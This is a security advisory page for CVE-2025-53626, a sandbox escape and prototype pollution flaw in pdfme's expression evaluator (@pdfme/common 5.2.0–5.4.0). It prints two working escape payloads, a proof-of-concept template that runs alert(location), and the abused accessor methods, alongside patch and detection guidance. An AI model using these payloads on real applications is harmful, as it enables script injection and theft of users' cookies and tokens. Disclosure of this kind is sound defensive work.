CVE-2025-53626 is a medium-severity (CVSS 6.1) Cross-site Scripting (XSS) vulnerability in @pdfme/common. A fix is available for @pdfme/common — see the affected versions and patch details below.
pdfme has Sandbox Escape and Prototype Pollution vulnerabilities in pdfme expression evaluation
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-53626.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@pdfme/commonnpmDescription
Summary
The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks.
Details
1. Sandbox Escape Leading to XSS
The expression evaluator's sandbox can be bypassed to execute arbitrary JavaScript code. Attackers can obtain the Function constructor through indirect methods:
// Attack vector 1: Using Object.getOwnPropertyDescriptor
{ ((f, g) => f(g(Object), "constructor").value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)("alert(location)")() }
// Attack vector 2: Using object property access
{ { f: Object.getOwnPropertyDescriptor }.f({ g: Object.getPrototypeOf }.g(Object), "constructor").value("alert(location)")() }
Both payloads bypass the sandbox restrictions and execute Function("alert(location)")().
2. Prototype Pollution
The expression evaluator allows access to prototype accessor methods which can be exploited with Object.assign to pollute the prototype chain:
__lookupGetter____lookupSetter____defineGetter____defineSetter__
Impact
These vulnerabilities allow attackers to:
- Execute arbitrary JavaScript code in the context of the application
- Steal sensitive information including cookies and tokens
- Modify application behavior through prototype pollution
- Potentially perform actions on behalf of users
Proof of Concept
Loading the following template in pdfme triggers alert(location):
{
"schemas": [[{
"name": "field1",
"type": "text",
"content": "{ ((f, g) => f(g(Object), 'constructor').value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)('alert(location)')() }",
"position": { "x": 0, "y": 0 },
"width": 100,
"height": 100
}]],
"basePdf": { "width": 100, "height": 100 },
"pdfmeVersion": "5.4.0"
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @pdfme/common | ≥ 5.2.0&&< 5.4.1 | 5.4.1npm install @pdfme/common@5.4.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @pdfme/common, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @pdfme/common to 5.4.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-53626 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is CVE-2025-53626 in your dependencies?
Find it across npm, including transitive dependencies.